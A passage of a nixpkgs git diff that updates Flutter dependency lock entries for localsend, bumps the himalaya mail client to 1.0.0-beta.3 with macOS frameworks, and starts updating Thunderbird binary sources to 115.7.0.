"url": "https://pub.dev" }, "source": "hosted", - "version": "2.4.1" + "version": "2.4.2" }, "build_runner": { "dependency": "direct dev", "description": { "name": "build_runner", - "sha256": "67d591d602906ef9201caf93452495ad1812bea2074f04e25dbd7c133785821b", + "sha256": "581bacf68f89ec8792f5e5a0b2c4decd1c948e97ce659dc783688c8a88fbec21", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.4.7" + "version": "2.4.8" }, "build_runner_core": { "dependency": "transitive", "description": { "name": "build_runner_core", - "sha256": "c9e32d21dd6626b5c163d48b037ce906bbe428bc23ab77bcd77bb21e593b6185", + "sha256": "4ae8ffe5ac758da294ecf1802f2aff01558d8b1b00616aa7538ea9a8a5d50799", "url": "https://pub.dev" }, "source": "hosted", - "version": "7.2.11" + "version": "7.3.0" }, "built_collection": { "dependency": "transitive", @@ -164,11 +164,11 @@ "dependency": "transitive", "description": { "name": "built_value", - "sha256": "69acb7007eb2a31dc901512bfe0f7b767168be34cb734835d54c070bfa74c1b2", + "sha256": "fedde275e0a6b798c3296963c5cd224e3e1b55d0e478d5b7e65e6b540f363a0e", "url": "https://pub.dev" }, "source": "hosted", - "version": "8.8.0" + "version": "8.9.1" }, "characters": { "dependency": "transitive", @@ -194,11 +194,11 @@ "dependency": "transitive", "description": { "name": "cli_util", - "sha256": "b8db3080e59b2503ca9e7922c3df2072cf13992354d5e944074ffa836fba43b7", + "sha256": "c05b7406fdabc7a49a3929d4af76bcaccbbffcbcdcf185b082e1ae07da323d19", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.4.0" + "version": "0.4.1" }, "clock": { "dependency": "transitive", @@ -214,11 +214,11 @@ "dependency": "transitive", "description": { "name": "code_builder", - "sha256": "b2151ce26a06171005b379ecff6e08d34c470180ffe16b8e14b6d52be292b55f", + "sha256": "f692079e25e7869c14132d39f223f8eec9830eb76131925143b2129c4bb01b37", "url": "https://pub.dev" }, "source": "hosted", - "version": "4.8.0" + "version": "4.10.0" }, "collection": { "dependency": "direct main", @@ -343,21 +343,21 @@ "dependency": "direct main", "description": { "name": "dart_mappable", - "sha256": "c2d4775336d7166590766a1c4451edde2a302efe2a2a35ac09eef9025102e10f", + "sha256": "7b6d38ae95f1ae8ffa65df9a5464f14b56c2de94699a035202ca4cd3a0ba249e", "url": "https://pub.dev" }, "source": "hosted", - "version": "4.0.1" + "version": "4.2.0" }, "dart_mappable_builder": { "dependency": "direct dev", "description": { "name": "dart_mappable_builder", - "sha256": "41926353f9bc20f659c39f1d83d90c9ae5fd0d14aec9b59732cf714eee589b7a", + "sha256": "98c058f7e80a98ea42d357d888ed1648d96bedac8b16872b58fc7024faefcdfe", "url": "https://pub.dev" }, "source": "hosted", - "version": "4.0.1" + "version": "4.2.0" }, "dart_style": { "dependency": "transitive", @@ -413,11 +413,11 @@ "dependency": "direct main", "description": { "name": "device_info_plus", - "sha256": "0042cb3b2a76413ea5f8a2b40cec2a33e01d0c937e91f0f7c211fde4f7739ba6", + "sha256": "77f757b789ff68e4eaf9c56d1752309bd9f7ad557cb105b938a7f8eb89e59110", "url": "https://pub.dev" }, "source": "hosted", - "version": "9.1.1" + "version": "9.1.2" }, "device_info_plus_platform_interface": { "dependency": "transitive", @@ -433,21 +433,21 @@ "dependency": "direct main", "description": { "name": "dio", - "sha256": "797e1e341c3dd2f69f2dad42564a6feff3bfb87187d05abb93b9609e6f1645c3", + "sha256": "49af28382aefc53562459104f64d16b9dfd1e8ef68c862d5af436cc8356ce5a8", "url": "https://pub.dev" }, "source": "hosted", - "version": "5.4.0" + "version": "5.4.1" }, "dynamic_color": { "dependency": "direct main", "description": { "name": "dynamic_color", - "sha256": "8b8bd1d798bd393e11eddeaa8ae95b12ff028bf7d5998fc5d003488cd5f4ce2f", + "sha256": "a866f1f8947bfdaf674d7928e769eac7230388a2e7a2542824fad4bb5b87be3b", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.6.8" + "version": "1.6.9" }, "extended_image": { "dependency": "transitive", @@ -513,31 +513,31 @@ "dependency": "direct main", "description": { "name": "file_selector", - "sha256": "84eaf3e034d647859167d1f01cfe7b6352488f34c1b4932635012b202014c25b", + "sha256": "5019692b593455127794d5718304ff1ae15447dea286cdda9f0db2a796a1b828", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.0.1" + "version": "1.0.3" }, "file_selector_android": { "dependency": "transitive", "description": { "name": "file_selector_android", - "sha256": "b7556052dbcc25ef88f6eba45ab98aa5600382af8dfdabc9d644a93d97b7be7f", + "sha256": "1cd66575f063b689e041aec836905ba7be18d76c9f0634d0d75daec825f67095", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.5.0+4" + "version": "0.5.0+7" }, "file_selector_ios": { "dependency": "transitive", "description": { "name": "file_selector_ios", - "sha256": "2f48db7e338b2255101c35c604b7ca5ab588dce032db7fc418a2fe5f28da63f8", + "sha256": "b015154e6d9fddbc4d08916794df170b44531798c8dd709a026df162d07ad81d", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.5.1+7" + "version": "0.5.1+8" }, "file_selector_linux": { "dependency": "transitive", @@ -563,11 +563,11 @@ "dependency": "transitive", "description": { "name": "file_selector_platform_interface", - "sha256": "0aa47a725c346825a2bd396343ce63ac00bda6eff2fbc43eabe99737dede8262", + "sha256": "a3994c26f10378a039faa11de174d7b78eb8f79e4dd0af2a451410c1a5c3f66b", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.6.1" + "version": "2.6.2" }, "file_selector_web": { "dependency": "transitive", @@ -655,11 +655,11 @@ "dependency": "direct main", "description": { "name": "flutter_markdown", - "sha256": "35108526a233cc0755664d445f8a6b4b61e6f8fe993b3658b80b4a26827fc196", + "sha256": "21b085a1c185e46701373866144ced56cfb7a0c33f63c916bb8fe2d0c1491278", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.6.18+2" + "version": "0.6.19" }, "flutter_plugin_android_lifecycle": { "dependency": "transitive", @@ -697,21 +697,21 @@ "dependency": "direct main", "description": { "name": "gal", - "sha256": "e53ff8647a031e7e4562b4f5978d3008328aeef650c293a3c92d8411e3e299f7", + "sha256": "54c9b72528efce7c66234f3b6dd01cb0304fd8af8196de15571d7bdddb940977", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.1.4" + "version": "2.3.0" }, "get_it": { "dependency": "transitive", "description": { "name": "get_it", - "sha256": "f79870884de16d689cf9a7d15eedf31ed61d750e813c538a6efb92660fea83c3", + "sha256": "e6017ce7fdeaf218dc51a100344d8cb70134b80e28b760f8bb23c242437bafd7", "url": "https://pub.dev" }, "source": "hosted", - "version": "7.6.4" + "version": "7.6.7" }, "glob": { "dependency": "transitive", @@ -807,51 +807,51 @@ "dependency": "transitive", "description": { "name": "image", - "sha256": "028f61960d56f26414eb616b48b04eb37d700cbe477b7fb09bf1d7ce57fd9271", + "sha256": "4c68bfd5ae83e700b5204c1e74451e7bf3cf750e6843c6e158289cf56bda018e", "url": "https://pub.dev" }, "source": "hosted", - "version": "4.1.3" + "version": "4.1.7" }, "image_picker": { "dependency": "direct main", "description": { "name": "image_picker", - "sha256": "7d7f2768df2a8b0a3cefa5ef4f84636121987d403130e70b17ef7e2cf650ba84", + "sha256": "26222b01a0c9a2c8fe02fc90b8208bd3325da5ed1f4a2acabf75939031ac0bdd", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.0.4" + "version": "1.0.7" }, "image_picker_android": { "dependency": "transitive", "description": { "name": "image_picker_android", - "sha256": "d6a6e78821086b0b737009b09363018309bbc6de3fd88cc5c26bc2bb44a4957f", + "sha256": "39f2bfe497e495450c81abcd44b62f56c2a36a37a175da7d137b4454977b51b1", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.8.8+2" + "version": "0.8.9+3" }, "image_picker_for_web": { "dependency": "transitive", "description": { "name": "image_picker_for_web", - "sha256": "50bc9ae6a77eea3a8b11af5eb6c661eeb858fdd2f734c2a4fd17086922347ef7", + "sha256": "e2423c53a68b579a7c37a1eda967b8ae536c3d98518e5db95ca1fe5719a730a3", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.0.1" + "version": "3.0.2" }, "image_picker_ios": { "dependency": "transitive", "description": { "name": "image_picker_ios", - "sha256": "76ec722aeea419d03aa915c2c96bf5b47214b053899088c9abb4086ceecf97a7", + "sha256": "fadafce49e8569257a0cad56d24438a6fa1f0cbd7ee0af9b631f7492818a4ca3", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.8.8+4" + "version": "0.8.9+1" }, "image_picker_linux": { "dependency": "transitive", @@ -877,11 +877,11 @@ "dependency": "transitive", "description": { "name": "image_picker_platform_interface", - "sha256": "ed9b00e63977c93b0d2d2b343685bed9c324534ba5abafbb3dfbd6a780b1b514", + "sha256": "fa4e815e6fcada50e35718727d83ba1c92f1edf95c0b4436554cec301b56233b", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.9.1" + "version": "2.9.3" }, "image_picker_windows": { "dependency": "transitive", @@ -897,41 +897,41 @@ "dependency": "direct main", "description": { "name": "in_app_purchase", - "sha256": "bdda02b5b11b56d5e29c7f0c57c433db3452b0c8ce1c37cbfcf1de52946efd9f", + "sha256": "def70fbaa2a274f4d835677459f6f7afc5469de912438f86076e51cbd4cbd5b4", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.1.11" + "version": "3.1.13" }, "in_app_purchase_android": { "dependency": "transitive", "description": { "name": "in_app_purchase_android", - "sha256": "c4b84caa4e2c7ffebda444c5033fd8423cc3a45a6e1066929bbbcd4daf665db5", + "sha256": "c94aebe986723b6f4e4d8551d160c6602e73d0b38bf86a59fb054dfeb44bc1e5", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.3.0+15" + "version": "0.3.1" }, "in_app_purchase_platform_interface": { "dependency": "transitive", "description": { "name": "in_app_purchase_platform_interface", - "sha256": "5168afbc54f406f741252b66d41872c1193a0066a6edcb587176290b92e2d537", + "sha256": "412efce2b9238c5ace4f057acad43f793ed06880e366d26ae322e796cadb051a", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.3.6" + "version": "1.3.7" }, "in_app_purchase_storekit": { "dependency": "transitive", "description": { "name": "in_app_purchase_storekit", - "sha256": "29526f5ce85bd908b4cacdadb2e8ef299bccbb516b90d2881805343f868502ab", + "sha256": "c4b17a7f2ca8ddc7fd7996a8c32a3af6beddf91d651997c8675a5f23c103c9bc", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.3.7" + "version": "0.3.8+1" }, "intl": { "dependency": "direct main", @@ -1017,11 +1017,11 @@ "dependency": "transitive", "description": { "name": "markdown", - "sha256": "acf35edccc0463a9d7384e437c015a3535772e09714cf60e07eeef3a15870dcd", + "sha256": "1b134d9f8ff2da15cb298efe6cd8b7d2a78958c1b00384ebcbdf13fe340a6c90", "url": "https://pub.dev" }, "source": "hosted", - "version": "7.1.1" + "version": "7.2.1" }, "matcher": { "dependency": "transitive", @@ -1073,6 +1073,16 @@ "source": "hosted", "version": "1.0.4" }, + "mockito": { + "dependency": "direct dev", + "description": { + "name": "mockito", + "sha256": "6841eed20a7befac0ce07df8116c8b8233ed1f4486a7647c7fc5a02ae6163917", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "5.4.4" + }, "msix": { "dependency": "direct dev", "description": { @@ -1097,11 +1107,11 @@ "dependency": "direct main", "description": { "name": "network_info_plus", - "sha256": "2d9e88b9a459e5d4e224f828d26cc38ea140511e89b943116939994324be5c96", + "sha256": "4601b815b1c6a46d84839f65cd774a7d999738471d910fae00d813e9e98b04e1", "url": "https://pub.dev" }, "source": "hosted", - "version": "4.1.0" + "version": "4.1.0+1" }, "network_info_plus_platform_interface": { "dependency": "transitive", @@ -1137,11 +1147,11 @@ "dependency": "direct main", "description": { "name": "open_filex", - "sha256": "a6c95237767c5647e68b71a476602fcf4f1bfc530c126265e53addae22ef5fc2", + "sha256": "74e2280754cf8161e860746c3181db2c996d6c1909c7057b738ede4a469816b8", "url": "https://pub.dev" }, "source": "hosted", - "version": "4.3.4" + "version": "4.4.0" }, "package_config": { "dependency": "transitive", @@ -1197,31 +1207,31 @@ "dependency": "direct main", "description": { "name": "path_provider", - "sha256": "a1aa8aaa2542a6bc57e381f132af822420216c80d4781f7aa085ca3229208aaa", + "sha256": "b27217933eeeba8ff24845c34003b003b2b22151de3c908d0e679e8fe1aa078b", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.1.1" + "version": "2.1.2" }, "path_provider_android": { "dependency": "transitive", "description": { "name": "path_provider_android", - "sha256": "e595b98692943b4881b219f0a9e3945118d3c16bd7e2813f98ec6e532d905f72", + "sha256": "477184d672607c0a3bf68fbbf601805f92ef79c82b64b4d6eb318cbca4c48668", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.2.1" + "version": "2.2.2" }, "path_provider_foundation": { "dependency": "transitive", "description": { "name": "path_provider_foundation", - "sha256": "19314d595120f82aca0ba62787d58dde2cc6b5df7d2f0daf72489e38d1b57f2d", + "sha256": "5a7999be66e000916500be4f15a3633ebceb8302719b47b9cc49ce924125350f", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.3.1" + "version": "2.3.2" }, "path_provider_linux": { "dependency": "transitive", @@ -1237,11 +1247,11 @@ "dependency": "transitive", "description": { "name": "path_provider_platform_interface", - "sha256": "94b1e0dd80970c1ce43d5d4e050a9918fce4f4a775e6142424c30a29a363265c", + "sha256": "88f5779f72ba699763fa3a3b06aa4bf6de76c8e5de842cf6f29e2e06476c2334", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.1.1" + "version": "2.1.2" }, "path_provider_windows": { "dependency": "transitive", @@ -1328,31 +1338,31 @@ "dependency": "transitive", "description": { "name": "platform", - "sha256": "0a279f0707af40c890e80b1e9df8bb761694c074ba7e1d4ab1bc4b728e200b59", + "sha256": "12220bb4b65720483f8fa9450b4332347737cf8213dd2840d8b2c823e47243ec", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.1.3" + "version": "3.1.4" }, "plugin_platform_interface": { "dependency": "transitive", "description": { "name": "plugin_platform_interface", - "sha256": "f4f88d4a900933e7267e2b353594774fc0d07fb072b47eedcd5b54e1ea3269f8", + "sha256": "4820fbfdb9478b1ebae27888254d445073732dae3d6ea81f0b7e06d5dedc3f02", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.1.7" + "version": "2.1.8" }, "pointycastle": { "dependency": "transitive", "description": { "name": "pointycastle", - "sha256": "7c1e5f0d23c9016c5bbd8b1473d0d3fb3fc851b876046039509e18e0c7485f2c", + "sha256": "43ac87de6e10afabc85c445745a7b799e04de84cebaa4fd7bf55a5e1e9604d29", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.7.3" + "version": "3.7.4" }, "pool": { "dependency": "transitive", @@ -1368,11 +1378,11 @@ "dependency": "direct main", "description": { "name": "pretty_qr_code", - "sha256": "799fa8d5c605028302cb7debbf3f180ce56678c4927fb2ecc4b174a3bee526d6", + "sha256": "47a0fde3967e01ea31985d1a11a998fab1ab900becdba592e9abb0a4034b807e", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.0.0" + "version": "3.2.1" }, "provider": { "dependency": "transitive", @@ -1418,21 +1428,21 @@ "dependency": "transitive", "description": { "name": "refena", - "sha256": "dad98c0d372617054a86b33a504fb973ba083c21b7a2b321a4b2142fae3342a2", + "sha256": "a29603854d785e5259c6fb99268847e918f54463a861accc36cc913daea95cb8", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.5.0" + "version": "1.6.1" }, "refena_flutter": { "dependency": "direct main", "description": { "name": "refena_flutter", - "sha256": "fcd8e28e50515182a40abc2718600bbac11ba4757c2b2b92b71177fbc2ee9721", + "sha256": "2bee85271c8d8ced0238d98c1c056dbabfd4af207f9cc248d10af5a37820ae3e", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.5.0" + "version": "1.6.0" }, "refena_inspector": { "dependency": "direct dev", @@ -1464,6 +1474,16 @@ "source": "hosted", "version": "0.8.0" }, + "saf_stream": { + "dependency": "direct main", + "description": { + "name": "saf_stream", + "sha256": "1db21cfa5914a5cf9a7c962b5d57fc8c07011561e365e7ff7f8013019cc3c0f3", + "url": "https://pub.dev" + }, + "source": "hosted", + "version": "0.4.0" + }, "screen_retriever": { "dependency": "direct main", "description": { @@ -1495,7 +1515,7 @@ "version": "0.0.7" }, "share_handler_ios": { - "dependency": "transitive", + "dependency": "direct main", "description": { "name": "share_handler_ios", "sha256": "522e5284ef186e83c34acea16fd65469db56a78a4c932c95e71a5be8a0e02d51", @@ -1538,11 +1558,11 @@ "dependency": "transitive", "description": { "name": "shared_preferences_foundation", - "sha256": "7bf53a9f2d007329ee6f3df7268fd498f8373602f943c975598bbb34649b62a7", + "sha256": "7708d83064f38060c7b39db12aefe449cb8cdc031d6062280087bc4cdb988f5c", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.3.4" + "version": "2.3.5" }, "shared_preferences_linux": { "dependency": "transitive", @@ -1558,11 +1578,11 @@ "dependency": "direct main", "description": { "name": "shared_preferences_platform_interface", - "sha256": "d4ec5fc9ebb2f2e056c617112aa75dcf92fc2e4faaf2ae999caa297473f75d8a", + "sha256": "22e2ecac9419b4246d7c22bfbbda589e3acf5c0351137d87dd2939d984d37c3b", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.3.1" + "version": "2.3.2" }, "shared_preferences_web": { "dependency": "transitive", @@ -1588,11 +1608,11 @@ "dependency": "direct main", "description": { "name": "shared_storage", - "sha256": "7c65a9d64f0f5521256be974cfd74010af12196657cec9f9fb7b03b2f11bcaf6", + "sha256": "cf20428d06af065311b71e09cbfbbfe431e979a3bf9180001c1952129b7c708f", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.8.0" + "version": "0.8.1" }, "shelf": { "dependency": "direct main", @@ -1664,31 +1684,31 @@ "dependency": "direct main", "description": { "name": "slang", - "sha256": "fe73e995287db77a32ef5a4ab8247bd20adc7a27ba2a4ba373a8132164eba654", + "sha256": "95dee03eb3fd1b36c99f365d4eace270a0d83c6148f8e7d1057806ef60cfaf12", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.26.1" + "version": "3.29.0" }, "slang_build_runner": { "dependency": "direct dev", "description": { "name": "slang_build_runner", - "sha256": "72364adbb8d682b48b72402fd67f84e1b62fd96424eae98477a8fe58faec280c", + "sha256": "929ea4bf24f11e09afd2b01abd658f550da7eb4039ae83d91bc220f942e18cb3", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.26.1" + "version": "3.29.0" }, "slang_flutter": { "dependency": "direct main", "description": { "name": "slang_flutter", - "sha256": "df1d6e5a7237028bcf94f7401d575fdfee8c9ca066b3e9a02acdcd5096e2a25a", + "sha256": "34c7cf297c608e24d3957a29e75c6790f4dbbfb1a4783d261a6c1e33ede7ad0f", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.26.1" + "version": "3.29.0" }, "slang_gpt": { "dependency": "direct dev", @@ -1704,11 +1724,11 @@ "dependency": "transitive", "description": { "name": "source_gen", - "sha256": "fc0da689e5302edb6177fdd964efcb7f58912f43c28c2047a808f5bfff643d16", + "sha256": "14658ba5f669685cd3d63701d01b31ea748310f7ab854e471962670abcf57832", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.4.0" + "version": "1.5.0" }, "source_map_stack_trace": { "dependency": "transitive", @@ -1844,11 +1864,11 @@ "dependency": "transitive", "description": { "name": "time", - "sha256": "83427e11d9072e038364a5e4da559e85869b227cf699a541be0da74f14140124", + "sha256": "ad8e018a6c9db36cb917a031853a1aae49467a93e0d464683e029537d848c221", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.1.3" + "version": "2.1.4" }, "timing": { "dependency": "transitive", @@ -1895,41 +1915,41 @@ "dependency": "direct main", "description": { "name": "url_launcher", - "sha256": "b1c9e98774adf8820c96fbc7ae3601231d324a7d5ebd8babe27b6dfac91357ba", + "sha256": "c512655380d241a337521703af62d2c122bf7b77a46ff7dd750092aa9433499c", "url": "https://pub.dev" }, "source": "hosted", - "version": "6.2.1" + "version": "6.2.4" }, "url_launcher_android": { "dependency": "transitive", "description": { "name": "url_launcher_android", - "sha256": "31222ffb0063171b526d3e569079cf1f8b294075ba323443fdc690842bfd4def", + "sha256": "d4ed0711849dd8e33eb2dd69c25db0d0d3fdc37e0a62e629fe32f57a22db2745", "url": "https://pub.dev" }, "source": "hosted", - "version": "6.2.0" + "version": "6.3.0" }, "url_launcher_ios": { "dependency": "transitive", "description": { "name": "url_launcher_ios", - "sha256": "bba3373219b7abb6b5e0d071b0fe66dfbe005d07517a68e38d4fc3638f35c6d3", + "sha256": "75bb6fe3f60070407704282a2d295630cab232991eb52542b18347a8a941df03", "url": "https://pub.dev" }, "source": "hosted", - "version": "6.2.1" + "version": "6.2.4" }, "url_launcher_linux": { "dependency": "transitive", "description": { "name": "url_launcher_linux", - "sha256": "9f2d390e096fdbe1e6e6256f97851e51afc2d9c423d3432f1d6a02a8a9a8b9fd", + "sha256": "ab360eb661f8879369acac07b6bb3ff09d9471155357da8443fd5d3cf7363811", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.1.0" + "version": "3.1.1" }, "url_launcher_macos": { "dependency": "transitive", @@ -1945,11 +1965,11 @@ "dependency": "transitive", "description": { "name": "url_launcher_platform_interface", - "sha256": "980e8d9af422f477be6948bdfb68df8433be71f5743a188968b0c1b887807e50", + "sha256": "552f8a1e663569be95a8190206a38187b531910283c3e982193e4f2733f01029", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.2.0" + "version": "2.3.2" }, "url_launcher_web": { "dependency": "transitive", @@ -1965,11 +1985,11 @@ "dependency": "transitive", "description": { "name": "url_launcher_windows", - "sha256": "7754a1ad30ee896b265f8d14078b0513a4dba28d358eabb9d5f339886f4a1adc", + "sha256": "ecf9725510600aa2bb6d7ddabe16357691b6d2805f66216a97d1b881e21beff7", "url": "https://pub.dev" }, "source": "hosted", - "version": "3.1.0" + "version": "3.1.1" }, "uuid": { "dependency": "direct main", @@ -1995,21 +2015,21 @@ "dependency": "transitive", "description": { "name": "video_player", - "sha256": "e16f0a83601a78d165dabc17e4dac50997604eb9e4cc76e10fa219046b70cef3", + "sha256": "fbf28ce8bcfe709ad91b5789166c832cb7a684d14f571a81891858fefb5bb1c2", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.8.1" + "version": "2.8.2" }, "video_player_android": { "dependency": "transitive", "description": { "name": "video_player_android", - "sha256": "3fe89ab07fdbce786e7eb25b58532d6eaf189ceddc091cb66cba712f8d9e8e55", + "sha256": "4dd9b8b86d70d65eecf3dcabfcdfbb9c9115d244d022654aba49a00336d540c2", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.4.10" + "version": "2.4.12" }, "video_player_avfoundation": { "dependency": "transitive", @@ -2025,21 +2045,21 @@ "dependency": "transitive", "description": { "name": "video_player_platform_interface", - "sha256": "be72301bf2c0150ab35a8c34d66e5a99de525f6de1e8d27c0672b836fe48f73a", + "sha256": "236454725fafcacf98f0f39af0d7c7ab2ce84762e3b63f2cbb3ef9a7e0550bc6", "url": "https://pub.dev" }, "source": "hosted", - "version": "6.2.1" + "version": "6.2.2" }, "video_player_web": { "dependency": "transitive", "description": { "name": "video_player_web", - "sha256": "ab7a462b07d9ca80bed579e30fb3bce372468f1b78642e0911b10600f2c5cb5b", + "sha256": "34beb3a07d4331a24f7e7b2f75b8e2b103289038e07e65529699a671b6a6e2cb", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.1.2" + "version": "2.1.3" }, "vm_service": { "dependency": "transitive", @@ -2115,11 +2135,11 @@ "dependency": "direct main", "description": { "name": "wechat_assets_picker", - "sha256": "0856437acd3a013f34cbca4448ad08bd004f387fc2b11b007b4713f00d63fcb7", + "sha256": "f78c7797dc88e3c9170d318acc9f535ca104ab648cc69ab3b7745f1ceac29910", "url": "https://pub.dev" }, "source": "hosted", - "version": "8.8.0" + "version": "8.8.1+1" }, "win32": { "dependency": "transitive", @@ -2145,21 +2165,21 @@ "dependency": "direct main", "description": { "name": "window_manager", - "sha256": "dcc865277f26a7dad263a47d0e405d77e21f12cb71f30333a52710a408690bd7", + "sha256": "b3c895bdf936c77b83c5254bec2e6b3f066710c1f89c38b20b8acc382b525494", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.3.7" + "version": "0.3.8" }, "xdg_directories": { "dependency": "transitive", "description": { "name": "xdg_directories", - "sha256": "589ada45ba9e39405c198fe34eb0f607cddb2108527e658136120892beac46d2", + "sha256": "faea9dee56b520b55a566385b84f2e8de55e7496104adada9962e0bd11bcff1d", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.0.3" + "version": "1.0.4" }, "xml": { "dependency": "transitive", @@ -2185,11 +2205,11 @@ "dependency": "direct main", "description": { "name": "yaru", - "sha256": "037219db9ffe757eae0d929cb9dc1a8b27af9850dc6c0d89ecf597dc4f78a5b6", + "sha256": "e9ccb22cb283ecf3f6b21d64dee9764d4abff65a44f48ce21aa13b9eae3e3be5", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.2.0" + "version": "1.2.2" } }, "sdks": { diff --git a/pkgs/applications/networking/localsend/update.sh b/pkgs/applications/networking/localsend/update.sh index e75b28435537d..fa69be0ba995c 100755 --- a/pkgs/applications/networking/localsend/update.sh +++ b/pkgs/applications/networking/localsend/update.sh @@ -1,5 +1,5 @@ #! /usr/bin/env nix-shell -#! nix-shell -I nixpkgs=./. -i bash -p curl gnused jq yq nix-prefetch-url +#! nix-shell -I nixpkgs=./. -i bash -p curl gnused jq yq nix set -eou pipefail diff --git a/pkgs/applications/networking/mailreaders/himalaya/default.nix b/pkgs/applications/networking/mailreaders/himalaya/default.nix index e200148cc0761..02da88ba6a32e 100644 --- a/pkgs/applications/networking/mailreaders/himalaya/default.nix +++ b/pkgs/applications/networking/mailreaders/himalaya/default.nix @@ -3,6 +3,9 @@ , fetchFromGitHub , stdenv , pkg-config +, AppKit +, Cocoa +, Security , installShellFiles , installShellCompletions ? stdenv.hostPlatform == stdenv.buildPlatform , installManPages ? stdenv.hostPlatform == stdenv.buildPlatform @@ -16,22 +19,23 @@ rustPlatform.buildRustPackage rec { inherit buildNoDefaultFeatures buildFeatures; pname = "himalaya"; - version = "1.0.0-beta.2"; + version = "1.0.0-beta.3"; src = fetchFromGitHub { owner = "soywod"; repo = pname; rev = "v${version}"; - hash = "sha256-dLj/bEPz3SD1v54yXbtVdUJKQsyw0OJxmQh10ql+3iI="; + hash = "sha256-B7eswDq4tKyg881i3pLd6h+HsObK0c2dQnYuvPAGJHk="; }; - cargoSha256 = "0IYpuKq5amAcYtsDMzJGghbxkuldAulsgUmChTl2DIg="; + cargoSha256 = "jOzuCXsrtXp8dmJTBqrEq4nog6smEPbdsFAy+ruPtY8="; nativeBuildInputs = [ ] ++ lib.optional (builtins.elem "pgp-gpg" buildFeatures) pkg-config ++ lib.optional (installManPages || installShellCompletions) installShellFiles; buildInputs = [ ] + ++ lib.optionals stdenv.isDarwin [ AppKit Cocoa Security ] ++ lib.optional (builtins.elem "notmuch" buildFeatures) notmuch ++ lib.optional (builtins.elem "pgp-gpg" buildFeatures) gpgme; diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix index ebef5257a99d7..e4809db566e86 100644 --- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix +++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix @@ -1,665 +1,665 @@ { - version = "115.6.0"; + version = "115.7.0"; sources = [ - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/af/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/af/thunderbird-115.7.0.tar.bz2"; locale = "af"; arch = "linux-x86_64"; - sha256 = "da001289185e3eb531e4eb10b43aec013e969ce4954024b5796f18ffd0f8a9fb"; + sha256 = "43041825f2fe7a42b7e8be09714cfe5506660a90ab09307a21810ec9debde878"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ar/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ar/thunderbird-115.7.0.tar.bz2"; locale = "ar"; arch = "linux-x86_64"; - sha256 = "bcb77b4bb7393f77e2210028425083b6b7aa65a59e412f4df2a33d2c2d0e9992"; + sha256 = "f307adc4e42c4e28672874882f2f72ac15bc9049474c5ebed701e0f83b81afac"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/ast/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/ast/thunderbird-115.7.0.tar.bz2"; locale = "ast"; arch = "linux-x86_64"; - sha256 = "0acc512da93eb40baa100e49c7b49a6a8075c710f1293eaf3cb0ad418cf9258f"; + sha256 = "fe9d8a9d397f8476d0c59ad4a91faa8eb4b38a9cf03b324c95a5fc806ebd4c48"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/be/thunderbird-115.6.0.tar.bz2"; + { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.7.0/linux-x86_64/be/thunderbird-115.7.0.tar.bz2"; locale = "be"; arch = "linux-x86_64"; - sha256 = "b2ab2849364cafb7cdad18615196b15c81cf348c2ec8b89adb58976ad1a9c0ef"; + sha256 = "b194ae99c1d495452673120ce3655620bf067dc1b82962f809c923adf26ff36c"; } - { url = "http://archive.mozilla.org/pub/thunderbird/releases/115.6.0/linux-x86_64/bg/thunderbird-115.6.0.tar.bz2"; + { url = 